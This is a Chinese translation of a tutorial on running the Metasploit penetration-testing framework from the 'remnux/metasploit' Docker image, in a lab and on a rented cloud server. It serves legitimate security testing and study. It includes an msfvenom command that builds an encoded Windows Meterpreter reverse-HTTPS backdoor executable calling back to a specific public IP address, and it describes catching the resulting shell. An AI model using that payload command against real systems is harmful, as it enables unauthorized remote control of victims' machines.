轻松使用Docker容器运行Metasploit框架


【编者的话】Lenny Seltzer是信息安全技术方面的资深专家与企业家。他涉及的领域包括紧急事件响应,云服务和产品管理。Lenny在NCR集团专注于客户安全操作。他还在SANS学院教授数字取证技术与反间谍软件。Lenny积极参与各种会议,撰写相关文章和书籍。

@Container容器技术大会将于6月4日在上海光大会展中心国际大酒店举办,来自Rancher、携程、PPTV、蚂蚁金服、京东、浙江移动、海尔电器、唯品会、eBay、道富银行、麻袋理财、土豆网、阿里百川、腾讯游戏、数人云、点融网、华为、轻元科技、中兴通讯、中国民生银行、长安汽车等公司的技术负责人将带来实践经验分享,欢迎感兴趣的同学参加。

Metasploit是一款强大的渗透测试开源框架。不论你是专业人事或仅仅是爱好者,你都可以轻松的在Docker容器中运行Metasploit框架,从而摆脱安装代码和依赖的噩梦。Docker镜像“remnux/metasploit”作为REMnux集合的一部分已经可以使用了,这归功于Jean Christophe Baptiste的贡献。

以下的示例将向你展示如何在实验环境和公有服务器上运行Metasploit的Docker容器。容器提供了命令行接口的Metasploit框架。它缺少web管理页面,但是你可以通过安装免费的社区版本来获取它,这同时需要在Rapid 7上进行注册。Metasploit框架的命令行版本已经足够强大了,并且该工具可以通过远程调用框架来进行渗透测试。

如何登陆Metasploit框架的Docker容器

安装Metasploit框架Docker镜像的前提是你的系统可以连接互联网并且已经安装了Docker。当准备好后,在你的主机上运行下面这条命令后,镜像会被自动从REMnux的仓库下载并安装:
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

在这个例子中,我将在一个临时的容器中运行应用“remnux/metasploit”,他将在我退出后消失(这就是“-rm”参数的作用)。“-it”参数允许你与交互式命令形式进行操作。

为了保证相关数据在容器组件间被访问,我使用”-v“参数将我本机中的目录映射到容器内相关目录上。使用“~/.msf4”目录保存Metasploit框架的配置文件。主机上的“/tmp/msf”目录用于保存其他数据,比如你从目标系统获取的相关信息。

“-p”参数用于将本机上的输入流端口映射到容器内的端口。上面的例子使用TCP端口443接收从反弹shell进入的HTTPS链接。
launching-metasploit-container.png

镜像容量非常大:超过1.2GB,原因是它包含了运行Metasploit框架的所有运行时环境和依赖。这些数据将在第一次下载后被缓存起来。如果你想保持最新的版本可以运行“sudo docker pull remnux/metasploit”命令。

容器被配置为当你登录后自动更新Metasploit的模块。如果你需要增加自己的模块,可以将它们放在主机的~/.msf4目录中。

使用测试驱动模式使用Metasploit框架容器

现在我来介绍如何在你的实验环境登录“remnux/metasploit”容器后体验Metasploit框架。我将会以一个弱配置的Windows系统为目标来举例。同时我将会使用Metasploit框架并使用授权的认证方式远程连接这个系统,而不是通过实际探查漏洞的方式。然后我会打开一个连接到我的Metasploit框架控制台的HTTPS反弹shell。
msfconsole-inside-metasploit-container.png

在上面的例子中,我登录Metasploit的msfconsole工具,然后命令它给我一个连接到目标系统的交互式Meterpreter的shell。这个链接是在HTTPS上打洞,该链接被指向到Metasploit框架容器的443端口上。

以上会话的截图我保存在容器中的/tmp/data目录中。当我退出容器后,那个目录的内容被持久化到底层主机的/tmp/msf目录中。

在公有云中运行Metasploit框架容器

当执行渗透测试时,你极有可能希望在一个可访问互联网的系统内运行Metasploit。你可以轻松通过公有云提供商提供的临时服务器来完成这件事。

举个例子,你可以使用DigitalOcean来完成这件事,我喜欢DigitalOcean是因为它的高性价比。虽然DigitalOcean可以以每个月5美元来使用虚拟机,但我发现这个低端的系统对于Metasploit来说内存是不够用的。所以我租用了一台每月10美元的Ubuntu主机。
digital-ocean-choose-a-size.png

一旦新系统激活,你可以登录进去并且执行下列命令去在主机上安装Docker:
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
add-apt-repository -y "deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main"
apt-get update
apt-get -y dist-upgrade
apt-get -y install docker-engine

然后,你可以使用文章开头的命令让Docker下载并载入Metasploit框架容器。
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

对于这个例子,我决定使用Metasploit生成一个独立的后门文件,那样我就可以在目标Windows系统中运行这个文件来模拟一个受害者被欺骗运行了恶意软件的场景。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=104.236.213.164 LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe

既然在容器中的当前目录默认是/tmp/data,结果文件也应该在那。因为我将该目录映射到了主机的/tmp/msf目录上,我可以从那里获取文件并传输给我的实验Windows系统。

然后我在容器内运行“msfconsole”并且命令该工具使用multi/handler,这个工具被设计为接受“msfconsole”接口的外部链接。当反弹HTTPS监听被激活,我将使用先前创建的file.exe“文件注入”到我的Windows系统,这个文件将完成链接并提供给我Meterpreter的shell。
msfconsole-multi-handler-public-cloud.png

就像前面的例子所展示的,我保存了Windows系统的截屏到/tmp/data,即使容器关闭我也可以获取这个图片。

容器的额外能力

Metasploit也包含了非著名的Nmap扫描工具,它可以让你运行“nmap”命令。它提供了强大的能力去检查网络和系统中的潜在漏洞服务并决定如何使用Metaspoit去利用这些漏洞。容器也包含了NASM反编译程序。

另外,容器包含了tmux多路终端工具。他可以让你在一个终端窗口内同时登陆多个“虚拟”窗口。容器修改了工具默认的Ctrl+b快捷键,将它改为Ctrl+a。登陆Metasploit框架容器后,输入“tmux”可以使用该工具了。你会在该工具多个“虚拟”窗口中得到一个shell。想要开启另外一个,按Ctrl+a然后按“c”。去切换窗口,按Ctrl+a然后按窗口编码(例如,Crl+a然后按“0”或“1”)

例如,你可以在一个窗口内运行nmap而在另一个窗口中运行msfconsole。你可以阅读这个教程去学习如何使用tmux。
tmux-nmap-in-metasploit-container.png

总结一下

Docker容器提供了一个便捷的方式去运行Metasploit框架而不必处理安装过程中复杂的工具代码和依赖。像这样运行Metasploit尤其对希望快速部署一个新系统帮助很大,例如运行在公有云上,并且随后关闭它不需要担心丢失任何个性化设置和数据。另一方面,这个方法需要你对Docker容器有一定了解。

感谢Jean Christophe Baptiste创建并维护了这个Dockerfile,同时贡献了“remnux/metasploit”镜像所依赖的配置文件。如果你发现了任何容器的问题或者有任何改进的建议,请在REMnux仓库中为Dcoker文件提出宝贵的issue

原文链接:Run Metasploit Framework as a Docker Container Without Installation Pains (翻译:高洪涛)

===========================================
译者介绍
高洪涛,当当网架构师,开源数据库分库分表中间件Sharding-JDBC作者。目前从事Docker相关调研工作。

0 个评论

要回复文章请先登录注册